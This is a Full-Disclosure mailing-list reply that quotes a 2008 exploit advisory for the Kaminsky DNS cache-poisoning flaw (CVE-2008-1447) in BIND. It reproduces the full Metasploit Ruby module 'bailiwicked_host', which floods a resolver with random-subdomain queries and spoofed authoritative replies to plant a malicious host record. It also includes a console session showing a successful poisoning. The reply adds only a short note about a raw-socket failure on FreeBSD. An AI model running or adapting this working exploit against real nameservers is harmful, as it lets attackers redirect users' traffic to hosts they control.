I)ruid wrote: > ____ ____ __ __ > / \ / \ | | | | > ----====####/ /\__\##/ /\ \##| |##| |####====---- > | | | |__| | | | | | > | | ___ | __ | | | | | > ------======######\ \/ /#| |##| |#| |##| |######======------ > \____/ |__| |__| \______/ > > Computer Academic Underground > http://www.caughq.org > Exploit Code > > ===============/======================================================== > Exploit ID: CAU-EX-2008-0002 > Release Date: 2008.07.23 > Title: bailiwicked_host.rb > Description: Kaminsky DNS Cache Poisoning Flaw Exploit > Tested: BIND 9.4.1-9.4.2 > Attributes: Remote, Poison, Resolver, Metasploit > Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt > Author/Email: I)ruid <druid (@) caughq.org> > H D Moore <hdm (@) metasploit.com> > ===============/======================================================== > > Description > =========== > > This exploit targets a fairly ubiquitous flaw in DNS implementations > which allow the insertion of malicious DNS records into the cache of the > target nameserver. This exploit caches a single malicious host entry > into the target nameserver. By causing the target nameserver to query > for random hostnames at the target domain, the attacker can spoof a > response to the target server including an answer for the query, an > authority server record, and an additional record for that server, > causing target nameserver to insert the additional record into the > cache. > > > Example > ======= > > # /msf3/msfconsole > > _ _ _ _ > | | | | (_) | > _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ > | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| > | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ > |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| > | | > |_| > > > =[ msf v3.2-release > + -- --=[ 298 exploits - 124 payloads > + -- --=[ 18 encoders - 6 nops > =[ 72 aux > > msf > use auxiliary/spoof/dns/bailiwicked_host > msf auxiliary(bailiwicked_host) > show options > > Module options: > > Name Current Setting Required Description > ---- --------------- -------- ----------- > HOSTNAME pwned.example.com yes Hostname to hijack > NEWADDR 1.3.3.7 yes New address for hostname > RECONS 208.67.222.222 yes Nameserver used for reconnaissance > RHOST yes The target address > SRCPORT yes The target server's source query > port (0 for automatic) > XIDS 10 yes Number of XIDs to try for each query > > msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D > RHOST => A.B.C.D > > msf auxiliary(bailiwicked_host) > check > [*] Using the Metasploit service to verify exploitability... > [*] >> ADDRESS: A.B.C.D PORT: 48178 > [*] >> ADDRESS: A.B.C.D PORT: 48178 > [*] >> ADDRESS: A.B.C.D PORT: 48178 > [*] >> ADDRESS: A.B.C.D PORT: 48178 > [*] >> ADDRESS: A.B.C.D PORT: 48178 > [*] FAIL: This server uses static source ports and is vulnerable to poisoning > > msf auxiliary(bailiwicked_host) > set SRCPORT 0 > SRCPORT => 0 > > msf auxiliary(bailiwicked_host) > run > [*] Switching to target port 48178 based on Metasploit service > [*] Targeting nameserver A.B.C.D > [*] Querying recon nameserver for example.com.'s nameservers... > [*] Got answer with 2 answers, 0 authorities > [*] Got an NS record: example.com. 172643 IN NS > ns89.worldnic.com. > [*] Querying recon nameserver for address of ns89.worldnic.com.... > [*] Got answer with 1 answers, 0 authorities > [*] Got an A record: ns89.worldnic.com. 172794 IN A > 205.178.190.45 > [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com.... > [*] ns89.worldnic.com. is authoritative for example.com., adding to list of > nameservers to spoof as > [*] Got an NS record: example.com. 172643 IN NS > ns90.worldnic.com. > [*] Querying recon nameserver for address of ns90.worldnic.com.... > [*] Got answer with 1 answers, 0 authorities > [*] Got an A record: ns90.worldnic.com. 172794 IN A > 205.178.144.45 > [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com.... > [*] ns90.worldnic.com. is authoritative for example.com., adding to list of > nameservers to spoof as > [*] Attempting to inject a poison record for pwned.example.com. into > A.B.C.D:48178... > [*] Sent 1000 queries and 20000 spoofed responses... > [*] Sent 2000 queries and 40000 spoofed responses... > [*] Sent 3000 queries and 60000 spoofed responses... > [*] Sent 4000 queries and 80000 spoofed responses... > [*] Sent 5000 queries and 100000 spoofed responses... > [*] Sent 6000 queries and 120000 spoofed responses... > [*] Sent 7000 queries and 140000 spoofed responses... > [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7 > [*] Auxiliary module execution completed > msf auxiliary(bailiwicked_host) > > > msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D > [*] exec: nslookup pwned.example.com A.B.C.D > > Server: A.B.C.D > Address: A.B.C.D#53 > > Non-authoritative answer: > Name: pwned.example.com > Address: 1.3.3.7 > > > Credits > ======= > > Dan Kaminsky is credited with originally discovering this vulnerability. > > > References > ========== > > http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447 > http://www.kb.cert.org/vuls/id/800113 > > > Metasploit > ========== > > require 'msf/core' > require 'net/dns' > require 'scruby' > require 'resolv' > > module Msf > > class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary > > include Exploit::Remote::Ip > > def initialize(info = {}) > super(update_info(info, > 'Name' => 'DNS BailiWicked Host Attack', > 'Description' => %q{ > This exploit attacks a fairly ubiquitous flaw > in DNS implementations which > Dan Kaminsky found and disclosed ~Jul 2008. > This exploit caches a single > malicious host entry into the target nameserver > by sending random sub-domain > queries to the target DNS server coupled with > spoofed replies to those > queries from the authoritative nameservers for > the domain which contain a > malicious host entry for the hostname to be > poisoned in the authority and > additional records sections. Eventually, a > guessed ID will match and the > spoofed packet will get accepted, and due to > the additional hostname entry > being within bailiwick constraints of the > original request the malicious host > entry will get cached. > }, > 'Author' => [ 'I)ruid', 'hdm' ], > 'License' => MSF_LICENSE, > 'Version' => '$Revision: 5585 $', > 'References' => > [ > [ 'CVE', '2008-1447' ], > [ 'US-CERT-VU', '8000113' ], > [ 'URL', > 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], > ], > 'Privileged' => true, > 'Targets' => > [ > ["BIND", > { > 'Arch' => ARCH_X86, > 'Platform' => 'linux', > }, > ], > ], > 'DisclosureDate' => 'Jul 21 2008' > )) > > register_options( > [ > OptPort.new('SRCPORT', [true, "The > target server's source query port (0 for automatic)", nil]), > OptString.new('HOSTNAME', [true, > 'Hostname to hijack', 'pwned.example.com']), > OptAddress.new('NEWADDR', [true, 'New > address for hostname', '1.3.3.7']), > OptAddress.new('RECONS', [true, > 'Nameserver used for reconnaissance', '208.67.222.222']), > OptInt.new('XIDS', [true, 'Number of > XIDs to try for each query', 10]), > OptInt.new('TTL', [true, 'TTL for the > malicious host entry', 31337]), > ], self.class) > > end > > def auxiliary_commands > return { "check" => "Determine if the specified DNS server > (RHOST) is vulnerable" } > end > > def cmd_check(*args) > targ = args[0] || rhost() > if(not (targ and targ.length > 0)) > print_status("usage: check [dns-server]") > return > end > > print_status("Using the Metasploit service to verify > exploitability...") > srv_sock = Rex::Socket.create_udp( > 'PeerHost' => targ, > 'PeerPort' => 53 > ) > > random = false > ports = [] > lport = nil > > 1.upto(5) do |i| > > req = Resolv::DNS::Message.new > txt = > "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" > req.add_question(txt, Resolv::DNS::Resource::IN::TXT) > req.rd = 1 > > srv_sock.put(req.encode) > res, addr = srv_sock.recvfrom() > > > if res and res.length > 0 > res = Resolv::DNS::Message.decode(res) > res.each_answer do |name, ttl, data| > if (name.to_s == txt and > data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) > t_addr, t_port = $1.split(':') > > print_status(" >> ADDRESS: > #{t_addr} PORT: #{t_port}") > t_port = t_port.to_i > if(lport and lport != t_port) > random = true > end > lport = t_port > ports << t_port > end > end > end > end > > srv_sock.close > > if(ports.length < 5) > print_status("UNKNOWN: This server did not reply to our > vulnerability check requests") > return > end > > if(random) > print_status("PASS: This server does not use a static > source port. Ports: #{ports.join(", ")}") > print_status(" This server may still be > exploitable, but not by this tool.") > else > print_status("FAIL: This server uses static source > ports and is vulnerable to poisoning") > end > end > > def run > target = rhost() > source = Rex::Socket.source_address(target) > sport = datastore['SRCPORT'] > hostname = datastore['HOSTNAME'] + '.' > address = datastore['NEWADDR'] > recons = datastore['RECONS'] > xids = datastore['XIDS'].to_i > ttl = datastore['TTL'].to_i > xidbase = rand(4)+2*10000 > > domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] > > srv_sock = Rex::Socket.create_udp( > 'PeerHost' => target, > 'PeerPort' => 53 > ) > > # Get the source port via the metasploit service if it's not set > if sport.to_i == 0 > req = Resolv::DNS::Message.new > txt = > "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" > req.add_question(txt, Resolv::DNS::Resource::IN::TXT) > req.rd = 1 > > srv_sock.put(req.encode) > res, addr = srv_sock.recvfrom() > > if res and res.length > 0 > res = Resolv::DNS::Message.decode(res) > res.each_answer do |name, ttl, data| > if (name.to_s == txt and > data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) > t_addr, t_port = $1.split(':') > sport = t_port.to_i > > print_status("Switching to > target port #{sport} based on Metasploit service") > if target != t_addr > print_status("Warning: > target address #{target} is not the same as the nameserver's query source > address #{t_addr}!") > end > end > end > end > end > > # Verify its not already cached > begin > query = Resolv::DNS::Message.new > query.add_question(hostname, > Resolv::DNS::Resource::IN::A) > query.rd = 0 > > begin > cached = false > srv_sock.put(query.encode) > answer, addr = srv_sock.recvfrom() > > if answer and answer.length > 0 > answer = > Resolv::DNS::Message.decode(answer) > answer.each_answer do |name, ttl, data| > if((name.to_s + ".") == > hostname and data.address.to_s == address) > t = Time.now + ttl > print_status("Failure: > This hostname is already in the target cache: #{name} == #{address}") > print_status(" > Cache entry expires on #{t.to_s}... sleeping.") > cached = true > sleep ttl > end > end > end > end until not cached > rescue ::Interrupt > raise $! > rescue ::Exception => e > print_status("Error checking the DNS name: #{e.class} > #{e} #{e.backtrace}") > end > > res0 = Net::DNS::Resolver.new(:nameservers => [recons], > :dns_search => false, :recursive => true) # reconnaissance resolver > > print_status "Targeting nameserver #{target} for injection of > #{hostname} as #{address}" > > # Look up the nameservers for the domain > print_status "Querying recon nameserver for #{domain}'s > nameservers..." > answer0 = res0.send(domain, Net::DNS::NS) > #print_status " Got answer with #{answer0.header.anCount} > answers, #{answer0.header.nsCount} authorities" > > barbs = [] # storage for nameservers > answer0.answer.each do |rr0| > print_status " Got an #{rr0.type} record: > #{rr0.inspect}" > if rr0.type == 'NS' > print_status " Querying recon nameserver for > address of #{rr0.nsdname}.." > answer1 = res0.send(rr0.nsdname) # get the ns's > answer for the hostname > #print_status " Got answer with > #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" > answer1.answer.each do |rr1| > print_status " Got an #{rr1.type} > record: #{rr1.inspect}" > res2 = > Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, > :recursive => false, :retry => 1) > print_status " Checking > Authoritativeness: Querying #{rr1.address} for #{domain}..." > answer2 = res2.send(domain) > if answer2 and answer2.header.auth? and > answer2.header.anCount >= 1 > nsrec = {:name => rr0.nsdname, > :addr => rr1.address} > barbs << nsrec > print_status " > #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers > to spoof as" > end > end > end > end > > if barbs.length == 0 > print_status( "No DNS servers found.") > srv_sock.close > disconnect_ip > return > end > > # Flood the target with queries and spoofed responses, one will > eventually hit > queries = 0 > responses = 0 > > connect_ip if not ip_sock > > print_status( "Attempting to inject a poison record for > #{hostname} into #{target}:#{sport}...") > > while true > randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + > domain # randomize the hostname > > # Send spoofed query > req = Resolv::DNS::Message.new > req.id = rand(2**16) > req.add_question(randhost, Resolv::DNS::Resource::IN::A) > > req.rd = 1 > > buff = ( > Scruby::IP.new( > #:src => barbs[0][:addr].to_s, > :src => source, > :dst => target, > :proto => 17 > )/Scruby::UDP.new( > :sport => > (rand((2**16)-1024)+1024).to_i, > :dport => 53 > )/req.encode > ).to_net > ip_sock.sendto(buff, target) > queries += 1 > > # Send evil spoofed answer from ALL nameservers > (barbs[*][:addr]) > req.add_answer(randhost, ttl, > Resolv::DNS::Resource::IN::A.new(address)) > req.add_authority(domain, ttl, > Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) > req.add_additional(hostname, ttl, > Resolv::DNS::Resource::IN::A.new(address)) > req.qr = 1 > req.ra = 1 > > xidbase.upto(xidbase+xids-1) do |id| > req.id = id > barbs.each do |barb| > buff = ( > Scruby::IP.new( > #:src => > barbs[i][:addr].to_s, > :src => > barb[:addr].to_s, > :dst => target, > :proto => 17 > )/Scruby::UDP.new( > :sport => 53, > :dport => sport.to_i > )/req.encode > ).to_net > ip_sock.sendto(buff, target) > responses += 1 > end > end > > # status update > if queries % 1000 == 0 > print_status("Sent #{queries} queries and > #{responses} spoofed responses...") > end > > # every so often, check and see if the target is > poisoned... > if queries % 250 == 0 > begin > query = Resolv::DNS::Message.new > query.add_question(hostname, > Resolv::DNS::Resource::IN::A) > query.rd = 0 > > srv_sock.put(query.encode) > answer, addr = srv_sock.recvfrom() > > if answer and answer.length > 0 > answer = > Resolv::DNS::Message.decode(answer) > answer.each_answer do |name, > ttl, data| > if((name.to_s + ".") == > hostname and data.address.to_s == address) > > print_status("Poisoning successful after #{queries} attempts: #{name} == > #{address}") > disconnect_ip > return > end > end > end > rescue ::Interrupt > raise $! > rescue ::Exception => e > print_status("Error querying the DNS > name: #{e.class} #{e} #{e.backtrace}") > end > end > > end > > end > > end > end >
On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw socket even when running as root: ... [-] This module is configured to use a raw IP socket. On Unix systems, only the root user is allowed to create raw sockets.Please run the framework as root to use this module. [*] Attempting to inject poison records for example.com.'s nameservers into 202.72.241.4:55088... [-] Auxiliary failed: undefined method `sendto' for nil:NilClass > > > ------------------------------------------------------------------------ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ -- A prisoner of war is a man who tries to kill you and fails, and then asks you not to kill him. -- Sir Winston Churchill, 1952 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
